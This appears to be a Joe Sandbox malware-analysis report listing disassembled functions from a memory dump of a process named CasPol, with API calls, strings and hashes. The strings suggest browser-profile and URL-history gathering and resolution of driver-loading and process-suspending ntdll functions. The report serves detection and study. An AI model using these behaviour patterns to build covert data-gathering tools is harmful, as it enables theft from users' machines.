                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004142CA
                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 004142E1
                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 004142EB
                                                                                                                                                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00414331
                                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0041433B
                                                                                                                                                                  • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00414373
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                                                                                                                                                                  • String ID: %s:$EDIT$STATIC
                                                                                                                                                                  • API String ID: 2080319088-3046471546
                                                                                                                                                                  • Opcode ID: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                                                                                                  • Instruction ID: eff71af8639f47ea0b7533f6321954d8b94ad3b67000e3ed03306cc56154d199
                                                                                                                                                                  • Opcode Fuzzy Hash: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                                                                                                  • Instruction Fuzzy Hash: F8B1DF71108301AFD721DFA9C985E6BBBF9FF88704F004A2DF69582261DB75E9448F16
                                                                                                                                                                  Function 004131DC Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • EndDialog.USER32(?,?), ref: 00413221
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EA), ref: 00413239
                                                                                                                                                                  • SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00413257
                                                                                                                                                                  • SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00413263
                                                                                                                                                                  • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0041326B
                                                                                                                                                                  • memset.MSVCRT ref: 00413292
                                                                                                                                                                  • memset.MSVCRT ref: 004132B4
                                                                                                                                                                  • memset.MSVCRT ref: 004132CD
                                                                                                                                                                  • memset.MSVCRT ref: 004132E1
                                                                                                                                                                  • memset.MSVCRT ref: 004132FB
                                                                                                                                                                  • memset.MSVCRT ref: 00413310
                                                                                                                                                                  • GetCurrentProcess.KERNEL32 ref: 00413318
                                                                                                                                                                  • ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0041333B
                                                                                                                                                                  • ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 0041336D
                                                                                                                                                                  • memset.MSVCRT ref: 004133C0
                                                                                                                                                                  • GetCurrentProcessId.KERNEL32 ref: 004133CE
                                                                                                                                                                  • memcpy.MSVCRT(?,0045AA90,0000021C), ref: 004133FC
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0041341F
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0041348E
                                                                                                                                                                  • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004134A6
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EA), ref: 004134B0
                                                                                                                                                                  • SetFocus.USER32(00000000), ref: 004134B7
                                                                                                                                                                  Strings
                                                                                                                                                                  • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00413483
                                                                                                                                                                  • {Unknown}, xrefs: 004132A6
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
                                                                                                                                                                  • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
                                                                                                                                                                  • API String ID: 4111938811-1819279800
                                                                                                                                                                  • Opcode ID: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                                                                                                                                                                  • Instruction ID: fb691a4f2f0ee0f23db40d54bf7b3fb7beca904c55697b54c7815e943e903c38
                                                                                                                                                                  • Opcode Fuzzy Hash: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                                                                                                                                                                  • Instruction Fuzzy Hash: A97182B280021DBFEB219F51DC45EEA3B7CFB08355F0440B6F508A6161DB799E948F69
                                                                                                                                                                  Function 00401198 Relevance: 39.2, APIs: 26, Instructions: 185COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 004011F0
                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401202
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 00401238
                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401245
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 00401273
                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 00401285
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000,?,?), ref: 0040128E
                                                                                                                                                                  • LoadCursorW.USER32(00000000,00000067), ref: 00401297
                                                                                                                                                                  • SetCursor.USER32(00000000), ref: 0040129E
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 004012BF
                                                                                                                                                                  • ChildWindowFromPoint.USER32(?,?,?), ref: 004012CC
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EC), ref: 004012E6
                                                                                                                                                                  • SetBkMode.GDI32(?,00000001), ref: 004012F2
                                                                                                                                                                  • SetTextColor.GDI32(?,00C00000), ref: 00401300
                                                                                                                                                                  • GetSysColorBrush.USER32(0000000F), ref: 00401308
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 00401329
                                                                                                                                                                  • EndDialog.USER32(?,?), ref: 0040135E
                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0040136A
                                                                                                                                                                  • GetDlgItem.USER32(?,000003ED), ref: 0040138F
                                                                                                                                                                  • ShowWindow.USER32(00000000), ref: 00401398
                                                                                                                                                                  • GetDlgItem.USER32(?,000003EE), ref: 004013A4
                                                                                                                                                                  • ShowWindow.USER32(00000000), ref: 004013A7
                                                                                                                                                                  • SetDlgItemTextW.USER32(?,000003EE,0045D778), ref: 004013B8
                                                                                                                                                                  • SetWindowTextW.USER32(?,00000000), ref: 004013CA
                                                                                                                                                                  • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004013E2
                                                                                                                                                                  • SetDlgItemTextW.USER32(?,000003EC,?), ref: 004013F3
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 829165378-0
                                                                                                                                                                  • Opcode ID: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                                                                                                                                                                  • Instruction ID: caa3714a391556dce09a7e5fb0b25e31ef738818e6d8753142f97b5ec5ee2caf
                                                                                                                                                                  • Opcode Fuzzy Hash: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                                                                                                                                                                  • Instruction Fuzzy Hash: 0051B134500708AFEB32AF61DC85E6E7BB9FB44301F10093AF552A61F1C7B9A991DB19
                                                                                                                                                                  Function 0040414F Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 145COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00404172
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                  • wcscpy.MSVCRT ref: 004041D6
                                                                                                                                                                  • wcscpy.MSVCRT ref: 004041E7
                                                                                                                                                                  • memset.MSVCRT ref: 00404200
                                                                                                                                                                  • memset.MSVCRT ref: 00404215
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                                                  • wcscpy.MSVCRT ref: 00404242
                                                                                                                                                                  • memset.MSVCRT ref: 0040426E
                                                                                                                                                                  • memset.MSVCRT ref: 004042CD
                                                                                                                                                                  • memset.MSVCRT ref: 004042E2
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 004042FE
                                                                                                                                                                  • wcscpy.MSVCRT ref: 00404311
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$wcscpy$_snwprintfwcslen$AttributesFilewcscat
                                                                                                                                                                  • String ID: AE$General$IsRelative$Path$Profile%d$profiles.ini$EA
                                                                                                                                                                  • API String ID: 2454223109-1580313836
                                                                                                                                                                  • Opcode ID: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                                                                                                                                                                  • Instruction ID: 5f54f20862f9259acc4f568515dc65a5c395277ecd0331c6beb9e3a358a2eb32
                                                                                                                                                                  • Opcode Fuzzy Hash: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                                                                                                                                                                  • Instruction Fuzzy Hash: 18512FB294012CBADB20EB55DC45ECFB7BCBF55744F0040E6B50CA2142EA795B84CFAA
                                                                                                                                                                  Function 00411346 Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 263windowregistryclipboardCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040D407: LoadMenuW.USER32(00000000), ref: 0040D40F
                                                                                                                                                                  • SetMenu.USER32(?,00000000), ref: 00411453
                                                                                                                                                                  • SendMessageW.USER32(00000000,00000404,00000001,?), ref: 00411486
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00411495
                                                                                                                                                                  • LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 004114A2
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 004114D9
                                                                                                                                                                  • CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 00411500
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00002008,/nosaveload,00000000,00000001), ref: 004115C8
                                                                                                                                                                  • ShowWindow.USER32(?,?), ref: 004115FE
                                                                                                                                                                  • GetFileAttributesW.KERNEL32(0045E078), ref: 0041162F
                                                                                                                                                                  • GetTempPathW.KERNEL32(00000104,0045E078), ref: 0041163F
                                                                                                                                                                  • RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 0041167A
                                                                                                                                                                  • SendMessageW.USER32(?,00000404,00000002,?), ref: 004116B4
                                                                                                                                                                  • SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 004116C7
                                                                                                                                                                    • Part of subcall function 00404592: wcslen.MSVCRT ref: 004045AF
                                                                                                                                                                    • Part of subcall function 00404592: SendMessageW.USER32(?,00001061,?,?), ref: 004045D3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: MessageSend$HandleLoadMenuModuleWindow$AttributesClipboardCreateFileFormatImagePathRegisterShowTempmemcpywcslen
                                                                                                                                                                  • String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html$xE
                                                                                                                                                                  • API String ID: 4054529287-3175352466
                                                                                                                                                                  • Opcode ID: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                                                                                                                                                                  • Instruction ID: 800f7bfcdfcb1fd3e7c20450dd8eb4425a557a8a4e928c852398501c1500280f
                                                                                                                                                                  • Opcode Fuzzy Hash: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                                                                                                                                                                  • Instruction Fuzzy Hash: CBA1A271640388AFEB11DF69CC89FCA3FA5AF55304F0404B9FE48AF292C6B59548CB65
                                                                                                                                                                  Function 00414F1E Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcscat$_snwprintfmemset$wcscpy
                                                                                                                                                                  • String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
                                                                                                                                                                  • API String ID: 3143752011-1996832678
                                                                                                                                                                  • Opcode ID: 054461c97bc12b3ac6a6f5d4f147efcfafa35783d9cb78a1f9dd62ddbda29cb0
                                                                                                                                                                  • Instruction ID: fbd97de1ae08b3d7bb58c913f73a739646adbf5bc1eafa8de66ed769fffaada2
                                                                                                                                                                  • Opcode Fuzzy Hash: 054461c97bc12b3ac6a6f5d4f147efcfafa35783d9cb78a1f9dd62ddbda29cb0
                                                                                                                                                                  • Instruction Fuzzy Hash: 25310BB2500315BEE720AA55AC82DBF73BC9F81728F10815FF614621C2EB3C5A854A1D
                                                                                                                                                                  Function 0041352F Relevance: 31.5, APIs: 9, Strings: 9, Instructions: 41libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation,?,000000FF,00000000,00000104), ref: 00413559
                                                                                                                                                                  • GetProcAddress.KERNEL32(NtLoadDriver,?,000000FF,00000000,00000104), ref: 0041356B
                                                                                                                                                                  • GetProcAddress.KERNEL32(NtUnloadDriver,?,000000FF,00000000,00000104), ref: 0041357D
                                                                                                                                                                  • GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject,?,000000FF,00000000,00000104), ref: 0041358F
                                                                                                                                                                  • GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject,?,000000FF,00000000,00000104), ref: 004135A1
                                                                                                                                                                  • GetProcAddress.KERNEL32(NtQueryObject,?,000000FF,00000000,00000104), ref: 004135B3
                                                                                                                                                                  • GetProcAddress.KERNEL32(NtSuspendProcess,?,000000FF,00000000,00000104), ref: 004135C5
                                                                                                                                                                  • GetProcAddress.KERNEL32(NtResumeProcess,?,000000FF,00000000,00000104), ref: 004135D7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$HandleModule
                                                                                                                                                                  • String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
                                                                                                                                                                  • API String ID: 667068680-2887671607
                                                                                                                                                                  • Opcode ID: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                                                                                                                                                                  • Instruction ID: 8dd6b0f06cc06780b82abcfa5335c49c30c65db347d43124f897848efd9f6b7c
                                                                                                                                                                  • Opcode Fuzzy Hash: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                                                                                                                                                                  • Instruction Fuzzy Hash: 8C015E75D48324AACB339F75AD09A053FB1EF04797B1004B7A80492266DAF9815CDE4C
                                                                                                                                                                  Function 0040FB5D Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 185COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _snwprintfmemset$wcscpy$wcscat
                                                                                                                                                                  • String ID: bgcolor="%s"$ nowrap$&nbsp;$</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
                                                                                                                                                                  • API String ID: 1607361635-601624466
                                                                                                                                                                  • Opcode ID: 014fce8712d2099ed920d1c21251e5be9fb3fd75ebba54fa6feefa75023380bc
                                                                                                                                                                  • Instruction ID: 75b7dc7a1ab43caf41f6bee0dc73fa500ed8492db64f50ed133d22c14cecb56c
                                                                                                                                                                  • Opcode Fuzzy Hash: 014fce8712d2099ed920d1c21251e5be9fb3fd75ebba54fa6feefa75023380bc
                                                                                                                                                                  • Instruction Fuzzy Hash: 09619F71900208BFDF25EF54CC86EAE7BB9FF44310F1040AAF805A7296DB399A59CB55
                                                                                                                                                                  Function 0041019A Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _snwprintf$memset$wcscpy
                                                                                                                                                                  • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                                                                                                                                                                  • API String ID: 2000436516-3842416460
                                                                                                                                                                  • Opcode ID: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                                                                                                                                                                  • Instruction ID: 0effb7443b15cd0e53e626898d2c9f551e6481245c02f09bcd1282082c9ffe88
                                                                                                                                                                  • Opcode Fuzzy Hash: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                                                                                                                                                                  • Instruction Fuzzy Hash: C74163B194021D7AEB20EF55DC46EEB73BCFF45304F0440ABB908A2141E7759B988F66
                                                                                                                                                                  Function 004035AD Relevance: 27.1, APIs: 18, Instructions: 93windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0041083A: memset.MSVCRT ref: 0041087D
                                                                                                                                                                    • Part of subcall function 0041083A: memset.MSVCRT ref: 00410892
                                                                                                                                                                    • Part of subcall function 0041083A: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                                                                                                                                                                    • Part of subcall function 0041083A: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                                                                                                                                                                    • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                                                                                                                                                                    • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                                                                                                                                                                    • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                                                                                                                                                                    • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                                                                                                                                                                    • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                                                                                                                                                                    • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                                                                                                                                                                    • Part of subcall function 0041083A: GetSysColor.USER32(0000000F), ref: 00410999
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 004035BF
                                                                                                                                                                  • LoadIconW.USER32(00000000,00000072), ref: 004035CA
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 004035DF
                                                                                                                                                                  • LoadIconW.USER32(00000000,00000074), ref: 004035E4
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 004035F3
                                                                                                                                                                  • LoadIconW.USER32(00000000,00000073), ref: 004035F8
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00403607
                                                                                                                                                                  • LoadIconW.USER32(00000000,00000075), ref: 0040360C
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0040361B
                                                                                                                                                                  • LoadIconW.USER32(00000000,0000006F), ref: 00403620
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0040362F
                                                                                                                                                                  • LoadIconW.USER32(00000000,00000076), ref: 00403634
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00403643
                                                                                                                                                                  • LoadIconW.USER32(00000000,00000077), ref: 00403648
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 00403657
                                                                                                                                                                  • LoadIconW.USER32(00000000,00000070), ref: 0040365C
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(00000000), ref: 0040366B
                                                                                                                                                                  • LoadIconW.USER32(00000000,00000078), ref: 00403670
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: HandleLoadModule$Icon$ImageMessageSendmemset$ColorDirectoryFileInfoWindows
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1043902810-0
                                                                                                                                                                  • Opcode ID: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                                                                                                                                                                  • Instruction ID: 42406aa8c1b655767e81280a563d2f976f29c17d6cb42a8b032fada3297a07e5
                                                                                                                                                                  • Opcode Fuzzy Hash: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                                                                                                                                                                  • Instruction Fuzzy Hash: B1212EA0B857087AF63137B2DC4BF7B7A5EDF81B89F214410F35C990E0C9E6AC108929
                                                                                                                                                                  Function 0040E2AB Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                                                                                                    • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                                                                                                  • free.MSVCRT ref: 0040E49A
                                                                                                                                                                    • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                                                                                                  • memset.MSVCRT ref: 0040E380
                                                                                                                                                                    • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                                                                                                    • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                                                                                                  • wcschr.MSVCRT ref: 0040E3B8
                                                                                                                                                                  • memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E3EC
                                                                                                                                                                  • memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E407
                                                                                                                                                                  • memcpy.MSVCRT(?,-00000220,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E422
                                                                                                                                                                  • memcpy.MSVCRT(?,-00000220,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E43D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy$_wcsicmpmemset$freewcschrwcslen
                                                                                                                                                                  • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                                                                                                                                                                  • API String ID: 3849927982-2252543386
                                                                                                                                                                  • Opcode ID: c30480054a5ca474dc40abe6212bc187cfeb1b733cbf080f7a891c76daa1d321
                                                                                                                                                                  • Instruction ID: 3bb3cf654da2d90f893253d259683e8481abe175d229eeda5eb464894a91a1db
                                                                                                                                                                  • Opcode Fuzzy Hash: c30480054a5ca474dc40abe6212bc187cfeb1b733cbf080f7a891c76daa1d321
                                                                                                                                                                  • Instruction Fuzzy Hash: DA512071E00309ABDF10EFA6DC45B9EB7B8AF54305F15443BA904F7291E678AA14CB58
                                                                                                                                                                  Function 004447D9 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 139COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0044480A
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0044488A
                                                                                                                                                                  • wcscpy.MSVCRT ref: 004448B4
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,OriginalFileName,00000000,?,LegalCopyright,00000000,?,InternalName,00000000,?,CompanyName,00000000,?,ProductVersion), ref: 00444964
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@??3@_snwprintfwcscpy
                                                                                                                                                                  • String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
                                                                                                                                                                  • API String ID: 2899246560-1542517562
                                                                                                                                                                  • Opcode ID: e17f1f04e88a4cb48931d1772d94f5796c3f29ffdcb1b521dadae3bcfb684220
                                                                                                                                                                  • Instruction ID: ddb1140ba30d93f946c39142265044aeba6ebe712c4753dd77c76fa61262b17a
                                                                                                                                                                  • Opcode Fuzzy Hash: e17f1f04e88a4cb48931d1772d94f5796c3f29ffdcb1b521dadae3bcfb684220
                                                                                                                                                                  • Instruction Fuzzy Hash: 434127B2900218BAD704EFA1DC82DDEB7BCBF49305B110167BD05B3152DB78A655CBE8
                                                                                                                                                                  Function 004091B8 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 272COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004091E2
                                                                                                                                                                    • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                                                                                                  • memcmp.MSVCRT ref: 004092D9
